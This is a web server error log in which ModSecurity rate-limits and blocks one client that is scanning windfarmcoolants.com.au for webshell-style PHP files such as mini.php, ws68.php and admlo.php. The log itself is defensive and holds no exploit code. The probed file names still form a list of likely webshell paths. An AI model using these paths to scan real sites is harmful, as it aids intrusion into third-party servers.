[Sat Apr 11 08:00:20.671323 2026] [:error] [pid 33172:tid 33226] [client 158.158.33.175:10393] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "admPFDn2G0IJw5EZY9l44QAAAEg"]
[Sat Apr 11 08:00:21.175551 2026] [:error] [pid 15244:tid 15268] [client 158.158.33.175:20376] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "admPFYkdEsz5NeAq8w2fgQAAARY"]
[Sat Apr 11 08:00:21.674279 2026] [:error] [pid 33173:tid 33251] [client 158.158.33.175:16686] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "admPFa8109xRDP2izWgkVQAAAIY"]
[Sat Apr 11 08:00:22.181481 2026] [:error] [pid 15244:tid 15246] [client 158.158.33.175:52311] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "admPFokdEsz5NeAq8w2fiAAAAQA"]
[Sat Apr 11 08:00:22.683809 2026] [:error] [pid 33173:tid 33252] [client 158.158.33.175:8860] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gdn.php"] [unique_id "admPFq8109xRDP2izWgkWgAAAIc"]
[Sat Apr 11 08:00:23.192607 2026] [:error] [pid 33172:tid 33221] [client 158.158.33.175:16480] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gdn.php"] [unique_id "admPFzn2G0IJw5EZY9l45QAAAEM"]
[Sat Apr 11 08:00:23.730877 2026] [:error] [pid 33173:tid 33267] [client 158.158.33.175:62344] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gdn.php"] [unique_id "admPF68109xRDP2izWgkXQAAAJY"]
[Sat Apr 11 08:00:24.291486 2026] [:error] [pid 33172:tid 33227] [client 158.158.33.175:16659] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gdn.php"] [unique_id "admPGDn2G0IJw5EZY9l46wAAAEk"]
[Sat Apr 11 08:00:24.804779 2026] [:error] [pid 33173:tid 33257] [client 158.158.33.175:10332] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "admPGK8109xRDP2izWgkZQAAAIw"]
[Sat Apr 11 08:00:25.403501 2026] [:error] [pid 33171:tid 33195] [client 158.158.33.175:10410] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "admPGboqTMlo30hcVw-WtQAAAAk"]
[Sat Apr 11 08:00:25.897635 2026] [:error] [pid 33172:tid 33221] [client 158.158.33.175:10377] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "admPGTn2G0IJw5EZY9l48QAAAEM"]
[Sat Apr 11 08:00:26.397816 2026] [:error] [pid 33172:tid 33234] [client 158.158.33.175:16693] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "admPGjn2G0IJw5EZY9l49gAAAFA"]
[Sat Apr 11 08:00:26.898722 2026] [:error] [pid 33288:tid 33310] [client 158.158.33.175:8876] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redixsx.php"] [unique_id "admPGmJmwJFFPEgRHfGi-wAAANQ"]
[Sat Apr 11 08:00:27.425034 2026] [:error] [pid 33173:tid 33260] [client 158.158.33.175:14117] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redixsx.php"] [unique_id "admPG68109xRDP2izWgkagAAAI8"]
[Sat Apr 11 08:00:27.967558 2026] [:error] [pid 33171:tid 33201] [client 158.158.33.175:10420] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redixsx.php"] [unique_id "admPG7oqTMlo30hcVw-WvAAAAA8"]
[Sat Apr 11 08:00:28.464723 2026] [:error] [pid 33173:tid 33251] [client 158.158.33.175:52313] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redixsx.php"] [unique_id "admPHK8109xRDP2izWgkbQAAAIY"]
[Sat Apr 11 08:00:28.946730 2026] [:error] [pid 33171:tid 33207] [client 158.158.33.175:20409] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cpp2.php"] [unique_id "admPHLoqTMlo30hcVw-WvgAAABU"]
[Sat Apr 11 08:00:29.435436 2026] [:error] [pid 33173:tid 33245] [client 158.158.33.175:62424] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cpp2.php"] [unique_id "admPHa8109xRDP2izWgkcAAAAIA"]
[Sat Apr 11 08:00:29.961298 2026] [:error] [pid 33173:tid 33266] [client 158.158.33.175:62447] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cpp2.php"] [unique_id "admPHa8109xRDP2izWgkcgAAAJU"]
[Sat Apr 11 08:00:30.467271 2026] [:error] [pid 33172:tid 33238] [client 158.158.33.175:8256] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cpp2.php"] [unique_id "admPHjn2G0IJw5EZY9l5BgAAAFQ"]
[Sat Apr 11 08:00:31.054686 2026] [:error] [pid 33288:tid 33293] [client 158.158.33.175:20224] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "admPH2JmwJFFPEgRHfGi_wAAAMM"]
[Sat Apr 11 08:00:31.581121 2026] [:error] [pid 33173:tid 33258] [client 158.158.33.175:62428] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "admPH68109xRDP2izWgkfgAAAI0"]
[Sat Apr 11 08:00:32.066850 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:20407] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "admPIIkdEsz5NeAq8w2fpgAAAQU"]
[Sat Apr 11 08:00:32.578973 2026] [:error] [pid 33288:tid 33300] [client 158.158.33.175:14045] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "admPIGJmwJFFPEgRHfGjAgAAAMo"]
[Sat Apr 11 08:00:33.147724 2026] [:error] [pid 33173:tid 33255] [client 158.158.33.175:10373] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-ajax.php"] [unique_id "admPIa8109xRDP2izWgkhgAAAIo"]
[Sat Apr 11 08:00:33.635571 2026] [:error] [pid 33288:tid 33294] [client 158.158.33.175:8264] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-ajax.php"] [unique_id "admPIWJmwJFFPEgRHfGjCQAAAMQ"]
[Sat Apr 11 08:00:34.247646 2026] [:error] [pid 33171:tid 33208] [client 158.158.33.175:62411] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-ajax.php"] [unique_id "admPIroqTMlo30hcVw-W1wAAABY"]
[Sat Apr 11 08:00:34.760318 2026] [:error] [pid 15244:tid 15253] [client 158.158.33.175:20380] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-ajax.php"] [unique_id "admPIokdEsz5NeAq8w2fqQAAAQc"]
[Sat Apr 11 08:00:35.300029 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:8884] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amthd.php"] [unique_id "admPI4kdEsz5NeAq8w2frQAAAQg"]
[Sat Apr 11 08:00:35.859210 2026] [:error] [pid 33172:tid 33242] [client 158.158.33.175:10347] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amthd.php"] [unique_id "admPIzn2G0IJw5EZY9l5FwAAAFg"]
[Sat Apr 11 08:00:36.414068 2026] [:error] [pid 33172:tid 33226] [client 158.158.33.175:62460] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amthd.php"] [unique_id "admPJDn2G0IJw5EZY9l5GQAAAEg"]
[Sat Apr 11 08:00:36.903682 2026] [:error] [pid 33172:tid 33231] [client 158.158.33.175:8289] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amthd.php"] [unique_id "admPJDn2G0IJw5EZY9l5HQAAAE0"]
[Sat Apr 11 08:00:37.422664 2026] [:error] [pid 33288:tid 33305] [client 158.158.33.175:14065] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8xyz.php"] [unique_id "admPJWJmwJFFPEgRHfGjIAAAAM8"]
[Sat Apr 11 08:00:37.983413 2026] [:error] [pid 33288:tid 33297] [client 158.158.33.175:10388] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8xyz.php"] [unique_id "admPJWJmwJFFPEgRHfGjIwAAAMc"]
[Sat Apr 11 08:00:38.471978 2026] [:error] [pid 15244:tid 15252] [client 158.158.33.175:8878] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8xyz.php"] [unique_id "admPJokdEsz5NeAq8w2ftQAAAQY"]
[Sat Apr 11 08:00:39.051768 2026] [:error] [pid 15244:tid 15266] [client 158.158.33.175:20366] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8xyz.php"] [unique_id "admPJ4kdEsz5NeAq8w2ftgAAARQ"]
[Sat Apr 11 08:00:39.591591 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:8259] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "admPJ4kdEsz5NeAq8w2fuAAAAQg"]
[Sat Apr 11 08:00:40.089148 2026] [:error] [pid 33173:tid 33255] [client 158.158.33.175:20365] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "admPKK8109xRDP2izWgkoQAAAIo"]
[Sat Apr 11 08:00:40.642561 2026] [:error] [pid 15244:tid 15263] [client 158.158.33.175:54867] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "admPKIkdEsz5NeAq8w2fvgAAARE"]
[Sat Apr 11 08:00:41.120990 2026] [:error] [pid 33288:tid 33307] [client 158.158.33.175:52299] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "admPKWJmwJFFPEgRHfGjMQAAANE"]
[Sat Apr 11 08:00:41.678161 2026] [:error] [pid 33171:tid 33210] [client 158.158.33.175:16469] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws68.php"] [unique_id "admPKboqTMlo30hcVw-W2wAAABg"]
[Sat Apr 11 08:00:42.168404 2026] [:error] [pid 33288:tid 33300] [client 158.158.33.175:8890] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws68.php"] [unique_id "admPKmJmwJFFPEgRHfGjOwAAAMo"]
[Sat Apr 11 08:00:42.655435 2026] [:error] [pid 33173:tid 33267] [client 158.158.33.175:20242] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws68.php"] [unique_id "admPKq8109xRDP2izWgkqQAAAJY"]
[Sat Apr 11 08:00:43.213554 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:10372] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws68.php"] [unique_id "admPK4kdEsz5NeAq8w2fywAAAQU"]
[Sat Apr 11 08:00:43.753006 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:20275] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "admPK4kdEsz5NeAq8w2f0wAAAQg"]
[Sat Apr 11 08:00:44.239305 2026] [:error] [pid 33173:tid 33248] [client 158.158.33.175:20386] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "admPLK8109xRDP2izWgkrwAAAIM"]
[Sat Apr 11 08:00:44.761342 2026] [:error] [pid 15244:tid 15269] [client 158.158.33.175:16651] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "admPLIkdEsz5NeAq8w2f3QAAARc"]
[Sat Apr 11 08:00:45.347627 2026] [:error] [pid 33288:tid 33298] [client 158.158.33.175:20246] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "admPLWJmwJFFPEgRHfGjRAAAAMg"]
[Sat Apr 11 08:00:46.003469 2026] [:error] [pid 33173:tid 33256] [client 158.158.33.175:46841] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/njxjtooj.php"] [unique_id "admPLq8109xRDP2izWgkuwAAAIs"]
[Sat Apr 11 08:00:46.489097 2026] [:error] [pid 33173:tid 33252] [client 158.158.33.175:20354] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/njxjtooj.php"] [unique_id "admPLq8109xRDP2izWgkvwAAAIc"]
[Sat Apr 11 08:00:47.058368 2026] [:error] [pid 33173:tid 33262] [client 158.158.33.175:24049] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/njxjtooj.php"] [unique_id "admPL68109xRDP2izWgkwwAAAJE"]
[Sat Apr 11 08:00:47.564795 2026] [:error] [pid 33173:tid 33247] [client 158.158.33.175:24008] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/njxjtooj.php"] [unique_id "admPL68109xRDP2izWgkywAAAII"]
[Sat Apr 11 08:00:48.103302 2026] [:error] [pid 33173:tid 33265] [client 158.158.33.175:20273] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "admPMK8109xRDP2izWgkzgAAAJQ"]
[Sat Apr 11 08:00:48.626558 2026] [:error] [pid 15244:tid 15259] [client 158.158.33.175:24046] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "admPMIkdEsz5NeAq8w2f7QAAAQ0"]
[Sat Apr 11 08:00:49.176520 2026] [:error] [pid 15244:tid 15255] [client 158.158.33.175:24279] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "admPMYkdEsz5NeAq8w2f8QAAAQk"]
[Sat Apr 11 08:00:49.661690 2026] [:error] [pid 15244:tid 15265] [client 158.158.33.175:24031] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "admPMYkdEsz5NeAq8w2f9wAAARM"]
